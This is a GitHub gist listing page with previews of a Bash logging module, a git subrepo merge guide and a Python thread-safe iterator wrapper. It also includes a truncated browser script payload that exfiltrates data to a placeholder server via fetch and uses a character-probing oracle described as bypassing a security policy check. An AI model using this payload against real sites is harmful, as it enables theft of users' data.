Skip to content

Instantly share code, notes, and snippets.

View ApprenticeofEnder's full-sized avatar

Robert Babaev ApprenticeofEnder

View GitHub Profile
@GingerGraham
GingerGraham / bash_logging.md
Last active January 25, 2026 18:14
Bash Logging

Bash Logging Module

A flexible, reusable logging module for Bash scripts that provides standardized logging functionality with various configuration options.

Important

This version of the bash logging module is now deprecated and the gist is no longer maintained. Please see the full release bash-logger

Note

This deprecated version has been left for reference purposes only.

@miloszwasacz
miloszwasacz / git-repo-as-subfolder.md
Last active September 28, 2025 00:53
Put a git repo as a subfolder in another git repo

This is a short guide on how to put all files from a Git repository into a folder in another Git repository.

  1. Go the subrepo (REPO1), switch to the branch you want to merge, and make a new temporary branch.

    cd REPO1
    git checkout BRANCH_TO_MERGE
    git checkout -b TEMP_BRANCH
<script>
payload = () => {
const sendback = (msg) => {
fetch(`https://yourserver.com/aaaaaaaa?xxxx=${msg}`, {mode: 'no-cors'})
}
async function oracle(pos, charCode, retries=3) {
try {
// bypass the SecurityPolicy check. It is checked after a potential error
@platdrag
platdrag / Threadsafe_iter.py
Last active October 12, 2024 13:57
An example generic wrapper for making any iterator / generator thread-safe compatible with python 3
import threading
'''
A generic iterator and generator that takes any iterator and wrap it to make it thread safe.
This method was introducted by Anand Chitipothu in http://anandology.com/blog/using-iterators-and-generators/
but was not compatible with python 3. This modified version is now compatible and works both in python 2.8 and 3.0
'''
class threadsafe_iter:
"""Takes an iterator/generator and makes it thread-safe by
serializing call to the `next` method of given iterator/generator.
"""